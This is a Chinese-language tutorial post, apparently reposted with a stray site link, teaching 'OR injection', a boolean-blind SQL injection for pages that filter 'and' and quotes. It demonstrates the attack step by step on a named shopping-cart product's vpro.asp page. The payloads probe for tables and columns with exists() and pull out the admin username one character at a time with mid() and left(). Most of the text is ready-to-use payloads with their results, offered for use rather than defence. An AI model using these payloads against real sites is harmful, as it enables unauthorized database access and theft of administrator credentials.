我記得一年前火狐有一位朋友問,如果一個(gè)站過濾了and和“'”的話,改怎么注入啊?當(dāng)時(shí)我隨口說了句“or注入”,后來又一次看貼的時(shí)候,看到他問我該怎么利用呢?我就寫了幾個(gè)簡單的語句給他,叫他自己變換,他很感激我,還說網(wǎng)上沒有這種方法,
or注入的利用和語句
。我到網(wǎng)上查了查,還真沒有or注入專題呢(or 1=1除外),呵呵,所以,一年后的今天,就有了這篇文章。我們用雷霆購物系統(tǒng)做or注入演示。我們先用or 1=1和or 1=2來測試是否存在注入點(diǎn),我們先來看正常頁面的面貌。我們現(xiàn)在用or 1=1測試是否存在注入漏洞。返回的是另外一個(gè)頁面,我們再來測試or 1=2。返回的是正常的頁面,說明猜測正確的時(shí)候是錯(cuò)誤,猜測錯(cuò)誤的時(shí)候是正常,這就是真正的“假是真時(shí)真是假”,比lake2大哥哥的IP欺騙更經(jīng)典哦,呵呵。
我們來構(gòu)造測試語句:
Copy code
vpro.asp?id=1 or exists(select * from admin)返回錯(cuò)誤頁面,說明存在admin表我們來換一個(gè)表試試!
Copy code
vpro.asp?id=1 or exists(select * from n0h4ck)說明不存在n0h4ck這個(gè)表。
我們繼續(xù)來,構(gòu)造語句
Copy code
vpro.asp?id=1 or exists(select admin from admin)返回or 1=1的頁面,說明admin表存在admin字段,
電腦資料
《or注入的利用和語句》(http://m.clearvueentertainment.com)。
Copy code
vpro.asp?id=1 or exists(select padd from admin)返回or 1=2的頁面,說明admin表不存在padd字段。
我們現(xiàn)在開始猜測數(shù)據(jù)了,
Copy code
vpro.asp?id=1 or (select mid(admin,1,1) from admin)='n'返回or 1=2的頁面,說明admin表admin字段的第一個(gè)數(shù)據(jù)的第一個(gè)字符不是“n”。
我們再來
Copy code
vpro.asp?id=1 or (select mid(admin,1,1) from admin)='a'返回or 1=1的頁面,說明說明admin表admin字段的第一個(gè)數(shù)據(jù)的第一個(gè)字符是“a”,我們第一個(gè)會(huì)想到什么呢?當(dāng)然是“admin”啦。
我們用left函數(shù)確定一下,
Copy code
vpro.asp?id=1 or (select left(admin,5) from admin)='admin'猜測正確,的確是admin,好了,后面的話就不用我說了吧!